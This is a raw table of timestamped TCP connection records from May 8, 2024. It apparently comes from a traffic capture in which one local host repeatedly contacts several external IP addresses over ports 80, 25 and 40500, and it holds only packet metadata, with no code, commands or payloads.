May 8, 2024 15:23:02.561309099 CEST	80	49721	185.215.113.66	192.168.2.8
May 8, 2024 15:23:02.561400890 CEST	80	49721	185.215.113.66	192.168.2.8
May 8, 2024 15:23:02.561417103 CEST	80	49721	185.215.113.66	192.168.2.8
May 8, 2024 15:23:02.561436892 CEST	80	49721	185.215.113.66	192.168.2.8
May 8, 2024 15:23:02.561450958 CEST	80	49721	185.215.113.66	192.168.2.8
May 8, 2024 15:23:02.561461926 CEST	49721	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:02.561499119 CEST	49721	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:02.561553001 CEST	80	49721	185.215.113.66	192.168.2.8
May 8, 2024 15:23:02.561568022 CEST	80	49721	185.215.113.66	192.168.2.8
May 8, 2024 15:23:02.561585903 CEST	49721	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:02.561598063 CEST	49721	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:02.561616898 CEST	49721	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:02.561680079 CEST	80	49721	185.215.113.66	192.168.2.8
May 8, 2024 15:23:02.561692953 CEST	80	49721	185.215.113.66	192.168.2.8
May 8, 2024 15:23:02.561734915 CEST	49721	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:02.561749935 CEST	49721	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:02.840063095 CEST	49720	25	192.168.2.8	67.195.228.94
May 8, 2024 15:23:03.404200077 CEST	49719	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:03.747004986 CEST	80	49719	185.215.113.66	192.168.2.8
May 8, 2024 15:23:03.747179031 CEST	80	49719	185.215.113.66	192.168.2.8
May 8, 2024 15:23:03.747245073 CEST	80	49719	185.215.113.66	192.168.2.8
May 8, 2024 15:23:03.747246027 CEST	49719	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:03.747288942 CEST	49719	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:03.747311115 CEST	80	49719	185.215.113.66	192.168.2.8
May 8, 2024 15:23:03.747324944 CEST	80	49719	185.215.113.66	192.168.2.8
May 8, 2024 15:23:03.747350931 CEST	49719	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:03.747370958 CEST	49719	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:03.747488976 CEST	80	49719	185.215.113.66	192.168.2.8
May 8, 2024 15:23:03.747503996 CEST	80	49719	185.215.113.66	192.168.2.8
May 8, 2024 15:23:03.747530937 CEST	49719	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:03.747544050 CEST	49719	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:03.747601986 CEST	80	49719	185.215.113.66	192.168.2.8
May 8, 2024 15:23:03.747617960 CEST	80	49719	185.215.113.66	192.168.2.8
May 8, 2024 15:23:03.747638941 CEST	49719	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:03.747663021 CEST	49719	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:03.763438940 CEST	49719	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:03.763477087 CEST	49719	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:04.779449940 CEST	49722	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:05.119329929 CEST	80	49722	185.215.113.66	192.168.2.8
May 8, 2024 15:23:05.119474888 CEST	49722	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:05.119743109 CEST	49722	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:05.460005999 CEST	80	49722	185.215.113.66	192.168.2.8
May 8, 2024 15:23:05.460170031 CEST	80	49722	185.215.113.66	192.168.2.8
May 8, 2024 15:23:05.460231066 CEST	80	49722	185.215.113.66	192.168.2.8
May 8, 2024 15:23:05.460290909 CEST	80	49722	185.215.113.66	192.168.2.8
May 8, 2024 15:23:05.460333109 CEST	49722	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:05.460333109 CEST	49722	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:05.460334063 CEST	49722	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:05.460385084 CEST	80	49722	185.215.113.66	192.168.2.8
May 8, 2024 15:23:05.460400105 CEST	80	49722	185.215.113.66	192.168.2.8
May 8, 2024 15:23:05.460412979 CEST	80	49722	185.215.113.66	192.168.2.8
May 8, 2024 15:23:05.460444927 CEST	49722	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:05.460444927 CEST	49722	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:05.460448980 CEST	80	49722	185.215.113.66	192.168.2.8
May 8, 2024 15:23:05.460464001 CEST	80	49722	185.215.113.66	192.168.2.8
May 8, 2024 15:23:05.460467100 CEST	49722	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:05.460505009 CEST	49722	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:05.460505009 CEST	49722	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:06.840105057 CEST	49720	25	192.168.2.8	67.195.228.94
May 8, 2024 15:23:07.870774984 CEST	49723	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:08.219271898 CEST	80	49723	185.215.113.66	192.168.2.8
May 8, 2024 15:23:08.219391108 CEST	49723	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:08.219573975 CEST	49723	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:08.563077927 CEST	80	49723	185.215.113.66	192.168.2.8
May 8, 2024 15:23:08.563103914 CEST	80	49723	185.215.113.66	192.168.2.8
May 8, 2024 15:23:08.563170910 CEST	49723	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:08.638293982 CEST	49721	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:08.980875969 CEST	80	49721	185.215.113.66	192.168.2.8
May 8, 2024 15:23:08.981136084 CEST	80	49721	185.215.113.66	192.168.2.8
May 8, 2024 15:23:08.981209040 CEST	80	49721	185.215.113.66	192.168.2.8
May 8, 2024 15:23:08.981245041 CEST	80	49721	185.215.113.66	192.168.2.8
May 8, 2024 15:23:08.981240988 CEST	49721	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:08.981327057 CEST	49721	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:08.981327057 CEST	49721	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:08.981338978 CEST	80	49721	185.215.113.66	192.168.2.8
May 8, 2024 15:23:08.981383085 CEST	49721	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:08.981404066 CEST	80	49721	185.215.113.66	192.168.2.8
May 8, 2024 15:23:08.981430054 CEST	80	49721	185.215.113.66	192.168.2.8
May 8, 2024 15:23:08.981455088 CEST	49721	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:08.981470108 CEST	80	49721	185.215.113.66	192.168.2.8
May 8, 2024 15:23:08.981472015 CEST	49721	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:08.981492043 CEST	80	49721	185.215.113.66	192.168.2.8
May 8, 2024 15:23:08.981508970 CEST	80	49721	185.215.113.66	192.168.2.8
May 8, 2024 15:23:08.981517076 CEST	49721	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:08.981523037 CEST	80	49721	185.215.113.66	192.168.2.8
May 8, 2024 15:23:08.981545925 CEST	49721	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:08.981579065 CEST	49721	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:08.982326984 CEST	49721	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:08.982353926 CEST	49721	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:09.997476101 CEST	49724	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:10.340876102 CEST	80	49724	185.215.113.66	192.168.2.8
May 8, 2024 15:23:10.340990067 CEST	49724	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:10.341459990 CEST	49724	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:10.685818911 CEST	80	49724	185.215.113.66	192.168.2.8
May 8, 2024 15:23:10.685848951 CEST	80	49724	185.215.113.66	192.168.2.8
May 8, 2024 15:23:10.685863018 CEST	80	49724	185.215.113.66	192.168.2.8
May 8, 2024 15:23:10.685875893 CEST	80	49724	185.215.113.66	192.168.2.8
May 8, 2024 15:23:10.685889006 CEST	80	49724	185.215.113.66	192.168.2.8
May 8, 2024 15:23:10.685904980 CEST	80	49724	185.215.113.66	192.168.2.8
May 8, 2024 15:23:10.685919046 CEST	80	49724	185.215.113.66	192.168.2.8
May 8, 2024 15:23:10.685929060 CEST	49724	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:10.685935020 CEST	80	49724	185.215.113.66	192.168.2.8
May 8, 2024 15:23:10.685946941 CEST	80	49724	185.215.113.66	192.168.2.8
May 8, 2024 15:23:10.685960054 CEST	80	49724	185.215.113.66	192.168.2.8
May 8, 2024 15:23:10.685971022 CEST	80	49724	185.215.113.66	192.168.2.8
May 8, 2024 15:23:10.685973883 CEST	49724	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:10.685997009 CEST	49724	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:10.686013937 CEST	49724	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:10.798090935 CEST	49723	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:12.013029099 CEST	49725	40500	192.168.2.8	212.154.184.158
May 8, 2024 15:23:12.578171015 CEST	49726	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:12.927531004 CEST	80	49726	91.202.233.141	192.168.2.8
May 8, 2024 15:23:12.927687883 CEST	49726	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:12.927995920 CEST	49726	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:13.027527094 CEST	49725	40500	192.168.2.8	212.154.184.158
May 8, 2024 15:23:13.280188084 CEST	80	49726	91.202.233.141	192.168.2.8
May 8, 2024 15:23:13.280214071 CEST	80	49726	91.202.233.141	192.168.2.8
May 8, 2024 15:23:13.280307055 CEST	49726	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:14.840065002 CEST	49720	25	192.168.2.8	67.195.228.94
May 8, 2024 15:23:15.043190956 CEST	49725	40500	192.168.2.8	212.154.184.158
May 8, 2024 15:23:15.325579882 CEST	49726	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:15.675209045 CEST	80	49726	91.202.233.141	192.168.2.8
May 8, 2024 15:23:15.675389051 CEST	49726	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:18.033344030 CEST	49727	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:18.033548117 CEST	49726	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:18.379534006 CEST	80	49727	91.202.233.141	192.168.2.8
May 8, 2024 15:23:18.379623890 CEST	49727	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:18.379914999 CEST	49727	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:18.382745028 CEST	80	49726	91.202.233.141	192.168.2.8
May 8, 2024 15:23:18.382819891 CEST	49726	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:18.725816011 CEST	80	49727	91.202.233.141	192.168.2.8
May 8, 2024 15:23:18.725898027 CEST	80	49727	91.202.233.141	192.168.2.8
May 8, 2024 15:23:18.726074934 CEST	49727	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:19.043165922 CEST	49725	40500	192.168.2.8	212.154.184.158
May 8, 2024 15:23:20.747984886 CEST	49727	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:21.096507072 CEST	80	49727	91.202.233.141	192.168.2.8
May 8, 2024 15:23:21.096638918 CEST	49727	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:21.422130108 CEST	49728	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:21.774837971 CEST	80	49728	193.233.132.177	192.168.2.8
May 8, 2024 15:23:22.277574062 CEST	49728	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:22.630199909 CEST	80	49728	193.233.132.177	192.168.2.8
May 8, 2024 15:23:23.122517109 CEST	49727	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:23.122838974 CEST	49729	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:23.136910915 CEST	49728	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:23.468173981 CEST	80	49727	91.202.233.141	192.168.2.8
May 8, 2024 15:23:23.468302965 CEST	49727	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:23.477355003 CEST	80	49729	91.202.233.141	192.168.2.8
May 8, 2024 15:23:23.477463007 CEST	49729	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:23.477629900 CEST	49729	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:23.489429951 CEST	80	49728	193.233.132.177	192.168.2.8
May 8, 2024 15:23:23.831897020 CEST	80	49729	91.202.233.141	192.168.2.8
May 8, 2024 15:23:23.832170963 CEST	80	49729	91.202.233.141	192.168.2.8
May 8, 2024 15:23:23.832223892 CEST	49729	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:23.996314049 CEST	49728	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:24.351547956 CEST	80	49728	193.233.132.177	192.168.2.8
May 8, 2024 15:23:24.855665922 CEST	49728	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:25.209136009 CEST	80	49728	193.233.132.177	192.168.2.8
May 8, 2024 15:23:25.857956886 CEST	49729	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:25.858403921 CEST	49730	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:26.215388060 CEST	80	49729	91.202.233.141	192.168.2.8
May 8, 2024 15:23:26.215625048 CEST	49729	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:26.216273069 CEST	80	49730	91.202.233.141	192.168.2.8
May 8, 2024 15:23:26.216386080 CEST	49730	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:26.216587067 CEST	49730	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:26.571039915 CEST	80	49730	91.202.233.141	192.168.2.8
May 8, 2024 15:23:26.571116924 CEST	80	49730	91.202.233.141	192.168.2.8
May 8, 2024 15:23:26.571346045 CEST	49730	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:27.043319941 CEST	49725	40500	192.168.2.8	212.154.184.158
May 8, 2024 15:23:27.232469082 CEST	49731	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:27.587002039 CEST	80	49731	193.233.132.177	192.168.2.8
May 8, 2024 15:23:28.090101957 CEST	49731	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:28.442854881 CEST	80	49731	193.233.132.177	192.168.2.8
May 8, 2024 15:23:28.609245062 CEST	49730	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:28.609931946 CEST	49732	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:28.949414968 CEST	49731	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:28.959718943 CEST	80	49732	91.202.233.141	192.168.2.8
May 8, 2024 15:23:28.959837914 CEST	49732	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:28.960473061 CEST	49732	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:28.964862108 CEST	80	49730	91.202.233.141	192.168.2.8
May 8, 2024 15:23:28.964945078 CEST	49730	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:29.302330017 CEST	80	49731	193.233.132.177	192.168.2.8
May 8, 2024 15:23:29.308849096 CEST	80	49732	91.202.233.141	192.168.2.8
May 8, 2024 15:23:29.309212923 CEST	80	49732	91.202.233.141	192.168.2.8
May 8, 2024 15:23:29.309353113 CEST	49732	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:29.808756113 CEST	49731	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:30.161375999 CEST	80	49731	193.233.132.177	192.168.2.8
May 8, 2024 15:23:30.668165922 CEST	49731	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:31.021090984 CEST	80	49731	193.233.132.177	192.168.2.8
May 8, 2024 15:23:31.342622042 CEST	49732	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:31.342955112 CEST	49733	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:31.691466093 CEST	80	49732	91.202.233.141	192.168.2.8
May 8, 2024 15:23:31.691607952 CEST	49732	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:31.698472023 CEST	80	49733	91.202.233.141	192.168.2.8
May 8, 2024 15:23:31.698569059 CEST	49733	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:31.698714018 CEST	49733	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:32.053694010 CEST	80	49733	91.202.233.141	192.168.2.8
May 8, 2024 15:23:32.053797960 CEST	80	49733	91.202.233.141	192.168.2.8
May 8, 2024 15:23:32.053844929 CEST	49733	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:33.095837116 CEST	49734	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:33.453294039 CEST	80	49734	193.233.132.177	192.168.2.8
May 8, 2024 15:23:33.980818987 CEST	49734	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:34.333873987 CEST	80	49734	193.233.132.177	192.168.2.8
May 8, 2024 15:23:34.996319056 CEST	49734	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:35.350698948 CEST	80	49734	193.233.132.177	192.168.2.8
May 8, 2024 15:23:35.460180044 CEST	80	49722	185.215.113.66	192.168.2.8
May 8, 2024 15:23:35.460546017 CEST	49722	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:35.736548901 CEST	49735	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:35.980662107 CEST	49734	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:36.093008041 CEST	80	49735	193.233.132.177	192.168.2.8
May 8, 2024 15:23:36.333898067 CEST	80	49734	193.233.132.177	192.168.2.8
May 8, 2024 15:23:36.652591944 CEST	49735	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:36.996253967 CEST	49734	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:37.008189917 CEST	80	49735	193.233.132.177	192.168.2.8
May 8, 2024 15:23:37.349455118 CEST	80	49734	193.233.132.177	192.168.2.8
May 8, 2024 15:23:37.652555943 CEST	49735	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:38.009069920 CEST	80	49735	193.233.132.177	192.168.2.8
May 8, 2024 15:23:38.090823889 CEST	49736	40500	192.168.2.8	82.194.11.2
May 8, 2024 15:23:38.543210030 CEST	49735	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:38.896920919 CEST	80	49735	193.233.132.177	192.168.2.8
May 8, 2024 15:23:39.152582884 CEST	49736	40500	192.168.2.8	82.194.11.2
May 8, 2024 15:23:39.449420929 CEST	49735	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:39.803133965 CEST	80	49735	193.233.132.177	192.168.2.8
May 8, 2024 15:23:40.497894049 CEST	49722	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:40.498168945 CEST	49737	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:40.685079098 CEST	80	49724	185.215.113.66	192.168.2.8
May 8, 2024 15:23:40.685136080 CEST	49724	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:40.838583946 CEST	80	49722	185.215.113.66	192.168.2.8
May 8, 2024 15:23:40.838632107 CEST	80	49737	185.215.113.66	192.168.2.8
May 8, 2024 15:23:40.838799953 CEST	49737	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:40.838985920 CEST	49737	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:41.168258905 CEST	49736	40500	192.168.2.8	82.194.11.2
May 8, 2024 15:23:41.180859089 CEST	80	49737	185.215.113.66	192.168.2.8
May 8, 2024 15:23:41.181057930 CEST	80	49737	185.215.113.66	192.168.2.8
May 8, 2024 15:23:41.181135893 CEST	80	49737	185.215.113.66	192.168.2.8
May 8, 2024 15:23:41.181152105 CEST	80	49737	185.215.113.66	192.168.2.8
May 8, 2024 15:23:41.181184053 CEST	49737	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:41.181247950 CEST	49737	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:41.181360006 CEST	80	49737	185.215.113.66	192.168.2.8
May 8, 2024 15:23:41.181449890 CEST	80	49737	185.215.113.66	192.168.2.8
May 8, 2024 15:23:41.181508064 CEST	80	49737	185.215.113.66	192.168.2.8
May 8, 2024 15:23:41.181509972 CEST	49737	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:41.181555033 CEST	80	49737	185.215.113.66	192.168.2.8
May 8, 2024 15:23:41.181561947 CEST	49737	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:41.181571007 CEST	80	49737	185.215.113.66	192.168.2.8
May 8, 2024 15:23:41.181648970 CEST	49737	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:41.183413982 CEST	49737	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:41.183480024 CEST	49737	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:41.523413897 CEST	80	49737	185.215.113.66	192.168.2.8
May 8, 2024 15:23:41.523695946 CEST	49737	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:41.779947996 CEST	49738	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:42.133910894 CEST	80	49738	193.233.132.177	192.168.2.8
May 8, 2024 15:23:42.636931896 CEST	49738	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:42.990695953 CEST	80	49738	193.233.132.177	192.168.2.8
May 8, 2024 15:23:43.217231989 CEST	49739	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:43.496272087 CEST	49738	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:43.555993080 CEST	80	49739	185.215.113.66	192.168.2.8
May 8, 2024 15:23:43.558660030 CEST	49739	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:43.559075117 CEST	49739	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:43.849900007 CEST	80	49738	193.233.132.177	192.168.2.8
May 8, 2024 15:23:43.898813963 CEST	80	49739	185.215.113.66	192.168.2.8
May 8, 2024 15:23:43.898837090 CEST	80	49739	185.215.113.66	192.168.2.8
May 8, 2024 15:23:43.898852110 CEST	80	49739	185.215.113.66	192.168.2.8
May 8, 2024 15:23:43.898871899 CEST	80	49739	185.215.113.66	192.168.2.8
May 8, 2024 15:23:43.898885012 CEST	80	49739	185.215.113.66	192.168.2.8
May 8, 2024 15:23:43.898916960 CEST	49739	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:43.898936033 CEST	80	49739	185.215.113.66	192.168.2.8
May 8, 2024 15:23:43.898943901 CEST	49739	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:43.898948908 CEST	80	49739	185.215.113.66	192.168.2.8
May 8, 2024 15:23:43.898961067 CEST	80	49739	185.215.113.66	192.168.2.8
May 8, 2024 15:23:43.898973942 CEST	80	49739	185.215.113.66	192.168.2.8
May 8, 2024 15:23:43.898989916 CEST	49739	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:43.899008036 CEST	49739	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:43.899698019 CEST	49739	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:43.899724007 CEST	49739	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:44.355639935 CEST	49738	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:44.710227966 CEST	80	49738	193.233.132.177	192.168.2.8
May 8, 2024 15:23:45.183778048 CEST	49736	40500	192.168.2.8	82.194.11.2
May 8, 2024 15:23:45.215058088 CEST	49738	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:45.570302010 CEST	80	49738	193.233.132.177	192.168.2.8
May 8, 2024 15:23:45.924729109 CEST	49740	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:46.264642000 CEST	80	49740	185.215.113.66	192.168.2.8
May 8, 2024 15:23:46.264723063 CEST	49740	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:46.264875889 CEST	49740	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:46.607482910 CEST	80	49740	185.215.113.66	192.168.2.8
May 8, 2024 15:23:46.607598066 CEST	80	49740	185.215.113.66	192.168.2.8
May 8, 2024 15:23:46.607613087 CEST	80	49740	185.215.113.66	192.168.2.8
May 8, 2024 15:23:46.607626915 CEST	80	49740	185.215.113.66	192.168.2.8
May 8, 2024 15:23:46.607666016 CEST	49740	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:46.607706070 CEST	49740	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:46.607778072 CEST	80	49740	185.215.113.66	192.168.2.8
May 8, 2024 15:23:46.607992887 CEST	80	49740	185.215.113.66	192.168.2.8
May 8, 2024 15:23:46.608006954 CEST	80	49740	185.215.113.66	192.168.2.8
May 8, 2024 15:23:46.608036041 CEST	49740	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:46.608050108 CEST	49740	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:46.608061075 CEST	80	49740	185.215.113.66	192.168.2.8
May 8, 2024 15:23:46.608074903 CEST	80	49740	185.215.113.66	192.168.2.8
May 8, 2024 15:23:46.608115911 CEST	49740	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:46.608537912 CEST	49740	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:46.608553886 CEST	49740	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:46.948410034 CEST	80	49740	185.215.113.66	192.168.2.8
May 8, 2024 15:23:46.949587107 CEST	49740	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:47.592159986 CEST	49741	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:47.946549892 CEST	80	49741	193.233.132.177	192.168.2.8
May 8, 2024 15:23:48.385674000 CEST	80	49726	91.202.233.141	192.168.2.8
May 8, 2024 15:23:48.385831118 CEST	49726	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:48.449417114 CEST	49741	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:48.801137924 CEST	80	49741	193.233.132.177	192.168.2.8
May 8, 2024 15:23:49.308788061 CEST	49741	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:49.654629946 CEST	49726	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:49.654967070 CEST	49742	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:49.660343885 CEST	80	49741	193.233.132.177	192.168.2.8
May 8, 2024 15:23:50.005568981 CEST	80	49726	91.202.233.141	192.168.2.8
May 8, 2024 15:23:50.012228966 CEST	80	49742	91.202.233.141	192.168.2.8
May 8, 2024 15:23:50.012336016 CEST	49742	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:50.013185024 CEST	49742	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:50.168176889 CEST	49741	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:50.368242979 CEST	80	49742	91.202.233.141	192.168.2.8
May 8, 2024 15:23:50.368292093 CEST	80	49742	91.202.233.141	192.168.2.8
May 8, 2024 15:23:50.368403912 CEST	49742	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:50.522238016 CEST	80	49741	193.233.132.177	192.168.2.8
May 8, 2024 15:23:51.027563095 CEST	49741	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:51.379300117 CEST	80	49741	193.233.132.177	192.168.2.8
May 8, 2024 15:23:51.904853106 CEST	49733	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:51.904902935 CEST	49724	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:52.259252071 CEST	80	49733	91.202.233.141	192.168.2.8
May 8, 2024 15:23:52.259357929 CEST	49733	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:52.840199947 CEST	49724	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:52.920958042 CEST	49742	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:53.276015043 CEST	80	49742	91.202.233.141	192.168.2.8
May 8, 2024 15:23:53.276143074 CEST	49742	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:53.277528048 CEST	49736	40500	192.168.2.8	82.194.11.2
May 8, 2024 15:23:53.964400053 CEST	49743	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:54.315999985 CEST	80	49743	193.233.132.177	192.168.2.8
May 8, 2024 15:23:54.527890921 CEST	49724	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:54.824590921 CEST	49743	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:55.176202059 CEST	80	49743	193.233.132.177	192.168.2.8
May 8, 2024 15:23:55.295192003 CEST	49742	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:55.650135994 CEST	80	49742	91.202.233.141	192.168.2.8
May 8, 2024 15:23:55.650258064 CEST	49742	80	192.168.2.8	91.202.233.141
May 8, 2024 15:23:55.840152979 CEST	49743	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:56.191853046 CEST	80	49743	193.233.132.177	192.168.2.8
May 8, 2024 15:23:56.840064049 CEST	49743	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:57.191782951 CEST	80	49743	193.233.132.177	192.168.2.8
May 8, 2024 15:23:57.840022087 CEST	49743	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:58.027664900 CEST	49724	80	192.168.2.8	185.215.113.66
May 8, 2024 15:23:58.191755056 CEST	80	49743	193.233.132.177	192.168.2.8
May 8, 2024 15:23:58.686316013 CEST	49744	80	192.168.2.8	193.233.132.177
May 8, 2024 15:23:59.037142992 CEST	80	49744	193.233.132.177	192.168.2.8
